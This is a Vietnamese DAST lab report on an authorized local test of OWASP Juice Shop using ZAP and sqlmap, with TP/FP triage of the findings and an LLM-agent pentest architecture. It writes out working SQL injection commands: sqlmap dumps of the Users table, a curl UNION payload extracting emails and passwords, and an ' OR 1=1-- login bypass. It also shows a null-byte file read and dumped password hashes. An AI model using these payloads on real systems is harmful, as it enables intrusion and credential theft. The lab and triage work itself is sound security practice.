ZAP spider → Mapping
Recon/Mapping thủ công = spider/crawl surface Juice Shop. Trong kiến trúc: agent Mapping + tool ZAP spider.
Lab thật · OWASP Juice Shop
Số liệu từ engagement local (ZAP + sqlmap + verify curl). Giao diện Stitch light — mọi KPI/bảng lấy từ findings.json, không dùng mock.
Phạm vi
Lab cục bộ, có phép. Khai thác tối thiểu để proof-of-impact — không đụng hệ thống ngoài, không exploit hàng loạt.
Nghiệm thu
2 vòng review đối chiếu artifact. F12 (%2e) là FP (SPA catch-all trả index.html) — minh họa vì sao verify bắt buộc.
Tỷ lệ xác thực (TP / FP)
Phân bố severity (CVSS 3.1)
Một alert của scanner chỉ là giả thuyết. Mỗi finding được phân loại TP hay FP theo checklist sau (đúc từ FIRST CVSS 3.1, OWASP, ZAP alert docs):
curl (không tin "evidence" mà tool tự khai).artifacts/evidence/.Định nghĩa TP / FP / TN / FN dùng trong báo cáo
| Thuật ngữ | Nghĩa ở đây |
|---|---|
| True Positive (TP) | Scanner báo VÀ tái hiện thủ công chứng minh lỗ hổng thật, khai thác được. |
| False Positive (FP) | Scanner báo NHƯNG tái hiện cho thấy không khai thác được (differential trùng hợp, bị encode vô hiệu, chỉ informational, hoặc bối cảnh khiến không khai thác được). |
| True Negative (TN) | Không báo và thực sự không dính (đánh giá độ phủ, không phải dòng trong bảng). |
| False Negative (FN) | Lỗ hổng thật mà scanner bỏ sót — chỉ biết qua phương pháp thứ hai (thủ công/sqlmap). Ghi ở §2.7. |
Severity vs Confidence (khái niệm cốt lõi). Một finding có thể High severity / Low confidence (scanner nghi SQLi nghiêm trọng nhưng chưa tái hiện được) hoặc Low severity / Confirmed (một header chắc chắn thiếu nhưng tác động thấp). Dải CVSS 3.1: None 0.0 · Low 0.1–3.9 · Medium 4.0–6.9 · High 7.0–8.9 · Critical 9.0–10.0.
# Deploy
docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop:latest
# sqlmap (search SQLi + dump)
python3 sqlmap.py -u "http://localhost:3000/rest/products/search?q=apple" \
--batch --level=3 --risk=2 --dbms=sqlite --technique=BEUST
python3 sqlmap.py -u "http://localhost:3000/rest/products/search?q=apple" \
--batch --level=3 --risk=2 --dbms=sqlite --technique=E -T Users -C email,password --dump
# ZAP (Docker)
docker run --rm --network host -v "$PWD/zap:/zap/wrk:rw" ghcr.io/zaproxy/zaproxy:stable \
zap-baseline.py -t http://localhost:3000 -J zap-baseline.json -r zap-baseline.html -m 3 -I
docker run --rm --network host -v "$PWD/zap:/zap/wrk:rw" ghcr.io/zaproxy/zaproxy:stable \
zap-full-scan.py -t http://localhost:3000 -J zap-full.json -r zap-full.html -m 4 -I -j
# Verify thủ công (trích)
curl -sG http://localhost:3000/rest/products/search \
--data-urlencode "q=x')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"
curl -s -X POST http://localhost:3000/rest/user/login -H 'Content-Type: application/json' \
--data '{"email":"'"'"' OR 1=1--","password":"x"}'
curl -s "http://localhost:3000/ftp/package.json.bak%2500.md" # null-byte TP (F4)
curl -s "http://localhost:3000/%2e/ftp/coupons_2013.md.bak" # %2e => index.html => FP (F12)
plans/260805-0015-track0-dast/artifacts/ → zap/zap-baseline.{json,html,md}, zap/zap-full.*, sqlmap/*.log, sqlmap/session/.../Users.csv, evidence/*.{json,txt,html}.plans/reports/review-260805-0903-track0-round1.md (+ round2).plans/reports/research-{juiceshop-vulns,zap-methodology,sqlmap-juiceshop,tpfp-cwe,llm-dast-arch}.md.Phần 2 · Tool output
Deploy lab, sqlmap (SQLi), ZAP baseline/full — bấm finding để mở bằng chứng verify.
$ curl -s -o /dev/null -w "HTTP %{http_code} in %{time_total}s" http://localhost:3000/
HTTP 200 in 0.009s
Tham số q ở GET /rest/products/search injectable — 3 kỹ thuật, backend SQLite, dump Users thành công. Login SQLi (F2) là FN của sqlmap.
q injectable[INFO] GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [INFO] GET parameter 'q' is 'SQLite >= 3.9 AND error-based - … (JSON path)' injectable [INFO] GET parameter 'q' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable [INFO] the back-end DBMS is SQLite back-end DBMS: SQLite
email,password J12934@juice-sh.op,0192023a7bbd73250516f069df18b500 accountant@juice-sh.op,e541ca7ecf72b8d1286474fc613e5e45 admin@juice-sh.op,0c36e517e3fa95aabf1bbffc6744a4ef … (sqlmap dump đầy đủ trong session/localhost/dump/…/Users.csv)
0 FAIL · 8 WARN · 59 PASS — hygiene/informational; không bắt SQLi/XSS. Bấm dòng có Finding để mở evidence.
| ZAP Alert | Risk (Conf) | CWE | Số lần | Finding |
|---|---|---|---|---|
| Content Security Policy (CSP) Header Not Set | Medium (High) | CWE-693 | 5 | |
Cross-Domain Misconfiguration (CORS ACAO:*) | Medium (Medium) | CWE-264 | 5 | |
| Cross-Origin-Embedder-Policy Header Missing | Low (Medium) | CWE-693 | 5 | |
| Cross-Origin-Opener-Policy Header Missing | Low (Medium) | CWE-693 | 5 | |
| Deprecated Feature-Policy Header Set | Low (Medium) | CWE-16 | 5 | |
| Dangerous JS Functions | Low (Low) | CWE-749 | 1 | |
| Timestamp Disclosure – Unix | Low (Low) | CWE-497 | 5 | |
| Modern Web Application | Informational (Medium) | — | 5 | |
| Storable/Cacheable Content | Informational (Medium) | CWE-524 | 5 |
25 alert: 1 High · 7 Medium · 9 Low · 8 Informational. Bấm dòng có Finding để mở bằng chứng.
| ZAP Alert | Risk (Conf) | CWE | Số lần | Finding |
|---|---|---|---|---|
| SQL Injection | High (Low) | CWE-89 | 1 | |
| Backup File Disclosure | Medium (Medium) | CWE-530 | 31 | 31/31 FP — vector thật (null-byte) = F4, ZAP bỏ sót |
| Bypassing 403 | Medium (Medium) | CWE-348 | 6 | |
| CORS Misconfiguration | Medium (High) | CWE-942 | 5 | |
| Cross-Domain Misconfiguration | Medium (Medium) | CWE-264 | 5 | |
| Content Security Policy (CSP) Not Set | Medium (High) | CWE-693 | 5 | |
| Missing Anti-clickjacking Header | Medium (Medium) | CWE-1021 | 3 | |
| Session ID in URL Rewrite | Medium (High) | CWE-598 | 5 | |
| Strict-Transport-Security Not Set | Low (High) | CWE-319 | 1 | |
| X-Content-Type-Options Missing | Low (Medium) | CWE-693 | 6 | |
| Private IP Disclosure | Low (Medium) | CWE-497 | 1 | |
| Timestamp Disclosure – Unix | Low (Low) | CWE-497 | 5 | |
| Dangerous JS Functions | Low (Low) | CWE-749 | 2 | |
| Deprecated Feature-Policy Header | Low (Medium) | CWE-16 | 5 | |
| COOP / COEP Header Missing | Low (Medium) | CWE-693 | 10 | |
| User Agent Fuzzer / Modern Web App / Cookie Slack / Cache / Session-Mgmt / CORS-Header | Informational | nhiều | 22 |
Đối chiếu: ZAP active củng cố SQLi search ở mức High-risk/Low-confidence — sqlmap + UNION mới nâng F1 lên TP Critical. F2 (login) là FN. 37 instance backup/403 bypass là FP (SPA catch-all); vector null-byte thật (F4) ZAP bỏ sót. Risk/confidence scanner = tín hiệu, không phải phán quyết.
Phần 2 · Verify
Đang tải findings.json…. Lọc · sort · bấm cả dòng để mở bằng chứng thật (curl / response).
Cách chấm TP/FP (tóm tắt):
(1) tái hiện bằng curl ·
(2) differential control vs tấn công ·
(3) proof-of-impact thật ·
(4) loại trừ nguyên nhân lành tính (SPA catch-all, encode…) ·
(5) Severity (CVSS) ≠ Confidence scanner ·
(6) lưu request/response.
Xem checklist đầy đủ trên Tổng quan
Phần 3 · Ideation
Ba ý cốt lõi · ánh xạ hands-on · sơ đồ tương tác. Chi tiết dài nằm trong phụ lục thu gọn.
Bài học F12 từ hands-on: ZAP “Bypassing 403” trả HTTP 200 nhưng body là index.html SPA — false positive nếu tin scanner. Cùng kỷ luật verify (differential + proof-of-impact) phải nằm ở node Sandbox và module triage.
Cùng một lượt DAST: tool + verify tay ở Phần 2 là bản “chạy tay” của các khối dưới đây.
Recon/Mapping thủ công = spider/crawl surface Juice Shop. Trong kiến trúc: agent Mapping + tool ZAP spider.
Quét active và SQLi chuyên sâu = agent Vuln Testing gọi tool-use layer (ZAP active, sqlmap, nuclei).
Replay + so control lành tính = Exploit/Confirm + sandbox verify — không tin alert “trông có vẻ”.
Chấm lại severity + verdict = module triage trước cổng HITL. F12 chứng minh sandbox + triage không optional.
Đọc trên→xuống: Scope · Orchestrator · Agents · Tools/Knowledge · Safety · Báo cáo. Bấm từng node · chọn phase để highlight đường tool+safety.
| Phase | Đóng góp của LLM | Tool được bọc | Prior art |
|---|---|---|---|
| Recon | Tóm tắt output tool thành giả thuyết tech-stack; sinh wordlist theo ngữ cảnh mục tiêu | nmap, whatweb, amass, ffuf | HackingBuddyGPT, xOffense Recon Agent |
| Mapping | Parse JS/traffic crawl → suy ra route, API schema, param, luồng auth; đánh dấu injection point | ZAP spider/MCP, Burp, OpenAPI-LLM import | ZAP OpenAPI-LLM add-on |
| Analysis | Ưu tiên endpoint theo tác động; giả thuyết lớp vuln cho mỗi endpoint ("ID số + không auth → khả năng IDOR"); ground vào CWE/OWASP/CVE qua RAG | truy vấn RAG KB | xOffense Vuln-Analysis Agent, Vulnhuntr |
| Vuln Testing | Sinh biến thể payload theo ngữ cảnh, thích ứng encoding/WAF; mutate seed fuzz theo ngữ nghĩa (JSON/GraphQL) | ZAP active, sqlmap, nuclei | Nuclei-AI, LLM-guided fuzzer |
| Exploit/Confirm | Chain exploit nhiều bước; tạo PoC tối thiểu; phán từ response thô xem khai thác có thật thành công không (differential/timing/OOB) | sandbox verify, sqlmap | XBOW (chuỗi SSRF 48 bước), Big Sleep |
| Report | Viết narrative finding + remediation; triage TP/FP + hiệu chỉnh severity như một pass riêng trước khi người ký duyệt | report templater | Datadog FP-filter, ZeroFalse, "Sifting the Noise" |